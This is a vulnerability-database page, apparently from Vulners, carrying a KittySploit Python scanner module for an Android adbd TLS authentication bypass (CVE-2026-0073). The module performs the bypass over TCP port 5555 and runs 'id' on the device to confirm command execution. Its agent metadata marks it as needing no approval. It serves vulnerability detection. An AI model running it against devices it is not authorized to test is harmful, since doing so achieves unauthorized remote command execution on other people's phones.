Lucene search
+L

Android adbd TLS auth bypass CVE-2026-0073 detection

🗓️ 07 May 2026 05:09:15Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

STLS/TLS auth bypass in Android adbd over TCP allows command execution.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect Android adbd STLS/TLS auth bypass CVE-2026-0073."""

import ssl

from kittysploit import *
from core.framework.option import OptPort
from lib.protocols.adb.adb_tls import (
    AdbAuthPathError,
    AdbError,
    AdbTlsAuthBypassClient,
)
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client


class Module(Scanner, Tcp_scanner_client):
    __info__ = {
        "name": "Android adbd TLS auth bypass CVE-2026-0073 detection",
        "description": (
            "Checks Android adbd over TCP for the STLS/TLS authentication bypass path "
            "and confirms command execution with a harmless id probe."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": "CVE-2026-0073",
        "modules": [
            "exploits/android/adb/adbd_tls_auth_bypass_cve_2026_0073"],
        "tags": ["scanner", "tcp", "android", "adb", "adbd", "auth-bypass"],
    'agent': {
        'risk': 'active',
        'effects': ['network_probe'],
        'expected_requests': 2,
        'reversible': True,
        'approval_required': False,
        'produces': ['tech_hints', 'risk_signals', 'endpoints'],
        'cost': 1.0,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    port = OptPort(5555, "Target adbd TCP port", True)
    timeout = OptPort(10, "Probe timeout in seconds", False, advanced=True)

    def run(self):
        host = self._host()
        if not host:
            return False

        client = AdbTlsAuthBypassClient(host, self._port(), self._timeout())
        try:
            client.authenticate()
            output = client.run_command("id").strip()
        except AdbAuthPathError as e:
            self.set_info(severity="low", reason=str(e))
            return False
        except (AdbError, OSError, TimeoutError, ConnectionError, ssl.SSLError) as e:
            self.set_info(severity="unknown", reason=str(e))
            return False
        except Exception as e:
            self.set_info(severity="unknown", reason=str(e))
            return False
        finally:
            client.close()

        if "uid=" not in output:
            self.set_info(
                severity="high",
                cve="CVE-2026-0073",
                reason="STLS/TLS bypass reached an ADB shell, but id output was not recognized",
            )
            return True

        self.set_info(
            severity="critical",
            cve="CVE-2026-0073",
            reason=f"ADB TLS auth bypass confirmed on {host}:{self._port()}",
            proof=output[:200],
        )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2026 13:34Current
8High risk
Vulners AI Score8
CVSS 3.18.8
EPSS0.00541
SSVC
2